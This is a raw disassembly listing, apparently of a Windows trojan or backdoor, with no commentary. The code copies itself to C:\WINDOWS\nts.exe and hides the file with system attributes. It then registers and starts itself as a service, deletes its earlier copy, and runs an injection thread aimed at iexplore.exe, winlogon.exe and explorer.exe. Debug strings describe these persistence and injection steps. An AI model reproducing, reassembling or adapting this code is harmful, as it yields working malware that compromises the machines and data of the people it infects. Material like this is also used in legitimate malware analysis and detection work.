		call	dword_411D50	; ResetEvent
		push	0
		push	0
		push	offset sub_405CF6
		call	sub_407910
		add	esp, 0Ch
		mov	ebx, eax
		push	2710h
		mov	eax, ebx
		push	eax
		call	dword_411D34	; WaitForSingleObject
		test	eax, eax
		jz	short loc_406477
		push	dword_41104C
		call	sub_4014C2
		pop	ecx
		mov	dword_41104C, 1
		mov	eax, ebx
		push	eax
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		jmp	short loc_406483
; ---------------------------------------------------------------------------


loc_406477:				; CODE XREF: sub_406422+30j
		mov	eax, ebx
		push	eax
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax


loc_406483:				; CODE XREF: sub_406422+53j
		pop	ebx
		retn
sub_406422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406485	proc near		; DATA XREF: sub_406677+18o
					; DMN1:00447610o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_4036F6
		test	eax, eax
		jnz	loc_40666B
		call	sub_403658
		test	eax, eax
		jnz	loc_40666B
		call	sub_406042
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		push	3E8h
		push	dword_41296C
		call	dword_411D34	; WaitForSingleObject
		call	sub_406422
		test	eax, eax
		jz	short loc_406503
		push	3E8h
		call	dword_411D00	; Sleep
		push	offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies>	e"...
		call	nullsub_2
		pop	ecx
		push	0FFFFFFFFh
		push	dword_41296C
		call	dword_411D34	; WaitForSingleObject
		push	dword_41296C
		call	dword_411D50	; ResetEvent


loc_406503:				; CODE XREF: sub_406485+4Cj
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 4
		mov	esi, [ebp+var_C]


loc_406511:				; CODE XREF: sub_406485+1BAj
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		cmp	esi, 2
		ja	short loc_40654D
		test	esi, esi
		jz	short loc_406532
		cmp	esi, 1
		jz	short loc_40653B
		cmp	esi, 2
		jz	short loc_406544
		jmp	short loc_406551
; ---------------------------------------------------------------------------


loc_406532:				; CODE XREF: sub_406485+9Fj
		mov	[ebp+var_4], offset aIexplore_exe ; "iexplore.exe"
		jmp	short loc_406551
; ---------------------------------------------------------------------------


loc_40653B:				; CODE XREF: sub_406485+A4j
		mov	[ebp+var_4], offset aWinlogon_exe ; "winlogon.exe"
		jmp	short loc_406551
; ---------------------------------------------------------------------------


loc_406544:				; CODE XREF: sub_406485+A9j
		mov	[ebp+var_4], offset aExplorer_exe ; "explorer.exe"
		jmp	short loc_406551
; ---------------------------------------------------------------------------


loc_40654D:				; CODE XREF: sub_406485+9Bj
		and	[ebp+var_4], 0


loc_406551:				; CODE XREF: sub_406485+ABj
					; sub_406485+B4j ...
		call	sub_405EFE
		test	eax, eax
		jz	loc_406645
		cmp	esi, 2
		ja	short loc_406576
		push	offset dword_412970
		push	[ebp+var_4]
		call	sub_4062AE
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_406591
; ---------------------------------------------------------------------------


loc_406576:				; CODE XREF: sub_406485+DCj
		mov	edi, 64h


loc_40657B:				; CODE XREF: sub_406485+10Aj
		push	offset dword_412970
		call	sub_40637D
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_406591
		dec	edi
		test	edi, edi
		jg	short loc_40657B


loc_406591:				; CODE XREF: sub_406485+EFj
					; sub_406485+105j
		inc	esi
		test	ebx, ebx
		jz	loc_406618
		call	sub_406422
		test	eax, eax
		jz	short loc_406618
		push	3E8h
		call	dword_411D00	; Sleep
		push	offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_4065C8
; ---------------------------------------------------------------------------


loc_4065BB:				; CODE XREF: sub_406485+159j
		call	sub_403658
		test	eax, eax
		jnz	loc_40666B


loc_4065C8:				; CODE XREF: sub_406485+134j
		push	2BCh
		push	dword_41296C
		call	dword_411D34	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_4065BB
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		mov	esi, [ebp+var_C]
		call	sub_403658
		test	eax, eax
		jz	short loc_40660D
		push	offset aDying	; "dying\n"
		call	nullsub_2
		pop	ecx
		push	1
		call	sub_4079E0
		pop	ecx
		jmp	short loc_40666B
; ---------------------------------------------------------------------------


loc_40660D:				; CODE XREF: sub_406485+171j
		push	offset aDllStopped___ ;	"DLL stopped...\n"
		call	nullsub_2
		pop	ecx


loc_406618:				; CODE XREF: sub_406485+10Fj
					; sub_406485+11Cj
		call	sub_4036F6
		test	eax, eax
		jnz	short loc_40666B
		cmp	dword_411050, 0
		jz	short loc_40663C
		push	offset dword_412970
		call	sub_407A90
		pop	ecx
		and	dword_411050, 0


loc_40663C:				; CODE XREF: sub_406485+1A3j
		cmp	esi, [ebp+var_8]
		jle	loc_406511


loc_406645:				; CODE XREF: sub_406485+D3j
		push	offset aInjectionthrea ; "InjectionThread complete\n"
		call	nullsub_2
		pop	ecx
		cmp	dword_411050, 0
		jz	short loc_40666B
		push	offset dword_412970
		call	sub_407A90
		pop	ecx
		and	dword_411050, 0


loc_40666B:				; CODE XREF: sub_406485+10j
					; sub_406485+1Dj ...
		call	sub_4079A0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406485	endp


; =============== S U B	R O U T	I N E =======================================



sub_406677	proc near		; DATA XREF: sub_405870+99o
					; sub_4066F1+56Eo ...
		push	ebx
		push	0
		push	0
		push	1
		push	0
		call	dword_411D40	; CreateEventA
		mov	dword_41296C, eax
		push	0
		push	0
		push	offset sub_406485
		call	sub_407910
		add	esp, 0Ch
		mov	ebx, eax
		push	0FFFFFFFFh
		mov	eax, ebx
		push	eax
		call	dword_411D34	; WaitForSingleObject
		mov	eax, ebx
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0
		push	0
		push	offset sub_40356A
		call	sub_407910
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	1F4h
		call	dword_411D00	; Sleep
		push	0
		push	0
		push	offset sub_404967
		call	sub_407910
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34	; WaitForSingleObject
		pop	ebx
		retn
sub_406677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066F1	proc near		; CODE XREF: sub_406C89+1p

var_2004	= byte ptr -2004h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_407730
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		xor	esi, esi
		mov	off_412958, offset aNts	; "NTS"
		call	sub_40103C
		call	sub_401165
		call	sub_401097
		push	offset dword_413970
		call	dword_411CC8	; InitializeCriticalSection
		call	sub_401F8E
		mov	dword_412934, eax
		call	dword_411D90	; GetCommandLineA
		push	eax
		call	sub_40122A
		pop	ecx
		cmp	dword_411000, 4
		jnz	loc_40682F
		push	offset aUpdate_0 ; "*update"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	loc_40682F
		call	sub_403604
		mov	[ebp+var_8], eax
		call	sub_404162
		mov	eax, dword_411018
		push	eax
		push	[ebp+var_8]
		push	offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
		call	nullsub_2
		add	esp, 0Ch
		push	offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
		call	nullsub_2
		pop	ecx
		push	1770h
		call	dword_411D00	; Sleep
		call	sub_40506C
		push	0FA0h
		call	dword_411D00	; Sleep
		call	sub_40506C
		call	sub_403685
		and	[ebp+var_C], 0
		push	dword_4128A4
		push	dword_4128B0
		push	dword_4128AC
		push	offset aNewSOldSSelfS ;	"new=<%s>, old=<%s>, self=<%s>\r\n"
		call	nullsub_2
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		push	dword_4128AC
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jnz	short loc_406828
		push	0
		push	1
		push	0
		push	dword_4128B0
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jnz	short loc_406828
		push	0
		push	1
		push	0
		push	dword_4128A4
		call	sub_403723
		add	esp, 10h
		test	eax, eax
		jz	short loc_40682F


loc_406828:				; CODE XREF: sub_4066F1+105j
					; sub_4066F1+11Dj
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_40682F:				; CODE XREF: sub_4066F1+58j
					; sub_4066F1+71j ...
		call	sub_40410E
		test	eax, eax
		jz	short loc_40683F
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_40683F:				; CODE XREF: sub_4066F1+145j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jz	loc_406922
		push	offset aCopying___ ; "copying...\n"
		call	nullsub_2
		pop	ecx
		push	80h
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	dword_411D28	; SetFileAttributesA
		push	0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D24	; CopyFileA
		test	eax, eax
		jz	loc_406914
		push	7
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	dword_411D28	; SetFileAttributesA
		lea	edi, [ebp+var_2004]
		mov	byte ptr [edi],	22h
		inc	edi
		push	dword_4128A4
		push	edi
		call	sub_407670
		pop	ecx
		pop	ecx
		push	dword_4128A4
		call	sub_407650
		pop	ecx
		add	edi, eax
		mov	byte ptr [edi],	22h
		inc	edi
		mov	byte ptr [edi],	0
		inc	edi
		lea	eax, [ebp+var_2004]
		push	eax
		push	offset aCmdlineS ; "cmdline: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_404162
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_405B2A
		pop	ecx
		test	eax, eax
		jz	short loc_4068F9
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_4068F9:				; CODE XREF: sub_4066F1+1FFj
		push	offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
		call	nullsub_2
		pop	ecx
		call	sub_40410E
		test	eax, eax
		jz	short loc_40691F
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_406914:				; CODE XREF: sub_4066F1+197j
		push	offset aCopyingFailed ;	"copying failed	%%-(\n"
		call	nullsub_2
		pop	ecx


loc_40691F:				; CODE XREF: sub_4066F1+21Aj
		xor	esi, esi
		inc	esi


loc_406922:				; CODE XREF: sub_4066F1+161j
		call	sub_402296
		call	sub_4057FF
		push	0
		push	0
		call	sub_4023DC
		pop	ecx
		pop	ecx
		mov	dword_411004, eax
		push	offset aInitializingWi ; "initializing winsock library...\n"
		call	nullsub_2
		pop	ecx
		call	sub_4012EC
		cmp	dword_411000, 1
		jle	loc_4069F3
		mov	eax, dword_4128A8
		cmp	byte ptr [eax],	2Ah
		jz	loc_4069F3
		push	80h
		push	dword_4128A8
		call	dword_411D28	; SetFileAttributesA
		push	dword_4128A8
		call	dword_411D4C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4069D7
		push	dword_4128A8
		push	offset aRemovingS ; "removing: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	edi, 0Ah
		jmp	short loc_4069D0
; ---------------------------------------------------------------------------


loc_4069A4:				; CODE XREF: sub_4066F1+2E4j
		push	80h
		push	dword_4128A8
		call	dword_411D28	; SetFileAttributesA
		push	dword_4128A8
		call	dword_411D18	; DeleteFileA
		test	eax, eax
		jnz	short loc_4069D7
		push	3E8h
		call	dword_411D00	; Sleep


loc_4069D0:				; CODE XREF: sub_4066F1+2B1j
		dec	edi
		mov	eax, edi
		test	eax, eax
		jnz	short loc_4069A4


loc_4069D7:				; CODE XREF: sub_4066F1+298j
					; sub_4066F1+2D2j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_4069F3
		mov	[ebp+var_4], 1


loc_4069F3:				; CODE XREF: sub_4066F1+262j
					; sub_4066F1+270j ...
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406A51
		push	offset asc_40E58D ; "**"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406A51
		push	offset aWaiting___ ; "*** waiting...\n"
		call	nullsub_2
		pop	ecx
		mov	edi, 0Ah


loc_406A2D:				; CODE XREF: sub_4066F1+353j
		call	sub_404CB8
		test	eax, eax
		jz	short loc_406A46
		push	1F4h
		call	dword_411D00	; Sleep
		dec	edi
		test	edi, edi
		jnz	short loc_406A2D


loc_406A46:				; CODE XREF: sub_4066F1+343j
		push	offset aWaitingComplet ; "*** waiting complete...\n"
		call	nullsub_2
		pop	ecx


loc_406A51:				; CODE XREF: sub_4066F1+315j
					; sub_4066F1+32Aj
		call	sub_404CB8
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_406AAA
		push	offset aNoRegisteredSe ; "no registered	service, "
		call	nullsub_2
		pop	ecx
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406A93
		mov	[ebp+var_4], 1
		push	offset aRegisterItAndR ; "register it and restart\n"
		call	nullsub_2
		pop	ecx
		jmp	loc_406B34
; ---------------------------------------------------------------------------


loc_406A93:				; CODE XREF: sub_4066F1+389j
		push	offset aDonTRegisterIt ; "DON'T register it\n"
		call	nullsub_2
		pop	ecx
		and	[ebp+var_4], 0
		xor	esi, esi
		inc	esi
		jmp	loc_406B34
; ---------------------------------------------------------------------------


loc_406AAA:				; CODE XREF: sub_4066F1+369j
		push	offset aRegisteredServ ; "registered service is	here...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404D02
		test	eax, eax
		jz	short loc_406AC5
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_406AC5:				; CODE XREF: sub_4066F1+3CBj
		push	offset aRegisteredSe_0 ; "registered service is	not running.\n"
		call	nullsub_2
		pop	ecx
		call	sub_4040C3
		test	eax, eax
		jnz	short loc_406B34
		push	offset aInstallingServ ; "installing service, res="
		call	nullsub_2
		pop	ecx
		call	sub_404F2A
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	offset aI	; "%i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		call	sub_4050B1
		test	eax, eax
		jnz	short loc_406B09
		call	sub_405187


loc_406B09:				; CODE XREF: sub_4066F1+411j
		call	sub_404162
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404E56
		test	eax, eax
		jz	short loc_406B29
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_406B29:				; CODE XREF: sub_4066F1+42Fj
		push	offset aRegisteredSe_1 ; "registered service is	not running, unre"...
		call	nullsub_2
		pop	ecx


loc_406B34:				; CODE XREF: sub_4066F1+39Dj
					; sub_4066F1+3B4j ...
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406B75
		cmp	[ebp+var_4], 0
		jz	short loc_406B75
		test	ebx, ebx
		jnz	short loc_406B75
		push	offset aInstallingSe_0 ; "installing service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404F2A
		test	eax, eax
		jz	short loc_406B75
		push	offset aServiceInstall ; "service installed ok...\n"
		call	nullsub_2
		pop	ecx
		xor	ebx, ebx
		inc	ebx


loc_406B75:				; CODE XREF: sub_4066F1+456j
					; sub_4066F1+45Cj ...
		test	ebx, ebx
		jz	short loc_406B82
		call	sub_4040C3
		test	eax, eax
		jz	short loc_406BAC


loc_406B82:				; CODE XREF: sub_4066F1+486j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406BDC
		push	offset asc_40E58D ; "**"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406BDC


loc_406BAC:				; CODE XREF: sub_4066F1+48Fj
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_2
		pop	ecx
		call	sub_404162
		call	sub_404E56
		test	eax, eax
		jz	short loc_406BCC
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_406BCC:				; CODE XREF: sub_4066F1+4D2j
		call	sub_40410E
		test	eax, eax
		jz	short loc_406BDC
		xor	eax, eax
		jmp	loc_406C82
; ---------------------------------------------------------------------------


loc_406BDC:				; CODE XREF: sub_4066F1+4A4j
					; sub_4066F1+4B9j ...
		call	sub_404CB8
		test	eax, eax
		jz	short loc_406C33
		call	sub_4040C3
		test	eax, eax
		jz	short loc_406C33
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_406C33
		push	offset asc_40E58D ; "**"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jz	short loc_406C33
		push	offset aInitializingSe ; "initializing service startup sequence.."...
		call	nullsub_2
		pop	ecx
		call	sub_405AC9
		test	eax, eax
		jz	short loc_406C30
		xor	eax, eax
		jmp	short loc_406C82
; ---------------------------------------------------------------------------


loc_406C30:				; CODE XREF: sub_4066F1+539j
		xor	esi, esi
		inc	esi


loc_406C33:				; CODE XREF: sub_4066F1+4F2j
					; sub_4066F1+4FBj ...
		push	offset aNotDaemonized_ ; "not daemonized...\n"
		call	nullsub_2
		pop	ecx
		test	esi, esi
		jz	short loc_406C4E
		push	dword_4128A4
		call	sub_405774
		pop	ecx


loc_406C4E:				; CODE XREF: sub_4066F1+54Fj
		call	sub_40410E
		test	eax, eax
		jz	short loc_406C5B
		xor	eax, eax
		jmp	short loc_406C82
; ---------------------------------------------------------------------------


loc_406C5B:				; CODE XREF: sub_4066F1+564j
		push	0
		push	0
		push	offset sub_406677
		call	sub_407910
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34	; WaitForSingleObject
		push	offset dword_40E000
		call	nullsub_2
		pop	ecx
		xor	eax, eax


loc_406C82:				; CODE XREF: sub_4066F1+139j
					; sub_4066F1+149j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4066F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C89	proc near		; CODE XREF: sub_407AA0+C1p
		push	ebx
		call	sub_4066F1
		mov	ebx, eax
		call	sub_404162
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_406C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406C9C	proc near		; CODE XREF: sub_4062AE+1Bp
					; sub_40637D+30p
		jmp	dword_411D84
sub_406C9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CA2	proc near		; CODE XREF: sub_4062AE+3Cp
					; sub_40637D+4Dp
		jmp	dword_411D88
sub_406CA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CA8	proc near		; CODE XREF: sub_4062AE+B6p
					; sub_40637D+88p
		jmp	dword_411D8C
sub_406CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CAE	proc near		; CODE XREF: sub_4012EC+1Ap
					; sub_4012EC+34p
		jmp	dword_411E88
sub_406CAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CB4	proc near		; CODE XREF: DMN0:00401350p
		jmp	dword_411E8C
sub_406CB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CBA	proc near		; CODE XREF: sub_401359+Bp
					; DMN0:004013DDp ...
		jmp	dword_411E90
sub_406CBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CC0	proc near		; CODE XREF: sub_401359+36p
					; sub_401359+53p ...
		jmp	dword_411E94
sub_406CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CC6	proc near		; CODE XREF: sub_4014C2+4p
					; sub_402B02+152p ...
		jmp	dword_411E98
sub_406CC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CCC	proc near		; CODE XREF: sub_4014CF+56p
		jmp	dword_411E9C
sub_406CCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CD2	proc near		; CODE XREF: sub_401542+11p
		jmp	dword_411EA0
sub_406CD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CD8	proc near		; CODE XREF: sub_401567+28p
					; sub_4015B7+28p ...
		jmp	dword_411EA4
sub_406CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CDE	proc near		; CODE XREF: sub_401567+3Ap
		jmp	dword_411EA8
sub_406CDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CE4	proc near		; CODE XREF: sub_4015B7+3Ap
					; sub_402B02+E5p ...
		jmp	dword_411EAC
sub_406CE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CEA	proc near		; CODE XREF: sub_401607+8p
		jmp	dword_411EB0
sub_406CEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CF0	proc near		; CODE XREF: sub_401621+30p
					; sub_40166C+3Fp
		jmp	dword_411EB4
sub_406CF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CF6	proc near		; CODE XREF: sub_40166C+5Fp
					; DMN0:00401844p ...
		jmp	dword_411EB8
sub_406CF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406CFC	proc near		; CODE XREF: sub_4016DC+17p
					; sub_401713+18p ...
		jmp	dword_411EBC
sub_406CFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D02	proc near		; CODE XREF: sub_401787+17p
		jmp	dword_411EC0
sub_406D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D08	proc near		; CODE XREF: sub_4017BE+8p
					; sub_4025A9+EDp ...
		jmp	dword_411EC4
sub_406D08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D0E	proc near		; CODE XREF: sub_4017BE+1Bp
		jmp	dword_411EC8
sub_406D0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D14	proc near		; CODE XREF: DMN0:00401827p
		jmp	dword_411ECC
sub_406D14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D1A	proc near		; CODE XREF: DMN0:00401876p
		jmp	dword_411ED0
sub_406D1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D20	proc near		; CODE XREF: DMN0:00401897p
					; sub_403113+5Cp ...
		jmp	dword_411ED4
sub_406D20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D26	proc near		; CODE XREF: sub_402B02+142p
					; sub_403113+FCp ...
		jmp	dword_411ED8
sub_406D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D2C	proc near		; CODE XREF: sub_402B02+1DBp
					; sub_403113+16Dp ...
		jmp	dword_411EDC
sub_406D2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D32	proc near		; CODE XREF: sub_402B02+1E4p
					; sub_403113+176p ...
		jmp	dword_411EE0
sub_406D32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_406D38	proc near		; CODE XREF: sub_4030A4+23p
					; sub_4030A4+4Bp
		jmp	dword_411EE8
sub_406D38	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406D40	proc near		; CODE XREF: sub_401048+15p
					; DMN0:0040110Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_0]
		mul	[esp+8+arg_4]
		mov	esi, eax
		push	esi
		call	sub_4081A0
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_406D67
		mov	edx, ebx
		mov	ecx, esi
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx


loc_406D67:				; CODE XREF: sub_406D40+17j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_406D40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D70	proc near		; CODE XREF: sub_4070F0+59p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		test	dword ptr [ebx], 80000000h
		jnz	short loc_406D9B
		call	sub_4083A0
		mov	dword ptr [eax], 16h
		jmp	loc_4070DD
; ---------------------------------------------------------------------------


loc_406D9B:				; CODE XREF: sub_406D70+19j
		mov	eax, [ebx]
		mov	edi, eax
		and	edi, 7FFFFFFFh
		lea	eax, [ebx-4]
		mov	[ebp+var_4], eax
		lea	ebx, [ebx+edi*4-4]
		lea	esi, [ebx+4]
		test	dword ptr [esi], 80000000h
		jnz	loc_406E4B
		mov	eax, [esi]
		lea	esi, [esi+eax*4-4]
		mov	eax, dword_4111E4
		cmp	[esi], eax
		ja	short loc_406E00
		mov	eax, dword_4111DC
		cmp	[esi], eax
		ja	short loc_406DE8
		mov	eax, dword_4111D8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_406DFB
; ---------------------------------------------------------------------------


loc_406DE8:				; CODE XREF: sub_406D70+64j
		mov	eax, dword_4111E0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_406DFB:				; CODE XREF: sub_406D70+76j
		mov	eax, [ebp+var_10]
		jmp	short loc_406E31
; ---------------------------------------------------------------------------


loc_406E00:				; CODE XREF: sub_406D70+5Bj
		mov	eax, dword_4111EC
		cmp	[esi], eax
		ja	short loc_406E1E
		mov	eax, dword_4111E8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_406E31
; ---------------------------------------------------------------------------


loc_406E1E:				; CODE XREF: sub_406D70+97j
		mov	eax, dword_4111F0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_406E31:				; CODE XREF: sub_406D70+8Ej
					; sub_406D70+ACj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [esi]
		add	edi, eax
		mov	[esi], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	[edx+4], edi
		mov	ebx, esi


loc_406E4B:				; CODE XREF: sub_406D70+48j
		mov	eax, [ebp+var_4]
		test	dword ptr [eax], 80000000h
		jnz	loc_406F77
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		add	edi, edx
		mov	edx, dword_4111E4
		cmp	[eax], edx
		ja	short loc_406EAA
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111DC
		cmp	[eax], edx
		ja	short loc_406E8E
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111D8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_406EA5
; ---------------------------------------------------------------------------


loc_406E8E:				; CODE XREF: sub_406D70+106j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_406EA5:				; CODE XREF: sub_406D70+11Cj
		mov	eax, [ebp+var_10]
		jmp	short loc_406EE7
; ---------------------------------------------------------------------------


loc_406EAA:				; CODE XREF: sub_406D70+F9j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111EC
		cmp	[eax], edx
		ja	short loc_406ED0
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_406EE7
; ---------------------------------------------------------------------------


loc_406ED0:				; CODE XREF: sub_406D70+145j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111F0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_406EE7:				; CODE XREF: sub_406D70+138j
					; sub_406D70+15Ej
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		cmp	eax, [ebp+var_4]
		jnz	short loc_406F32
		mov	eax, [ebp+var_8]
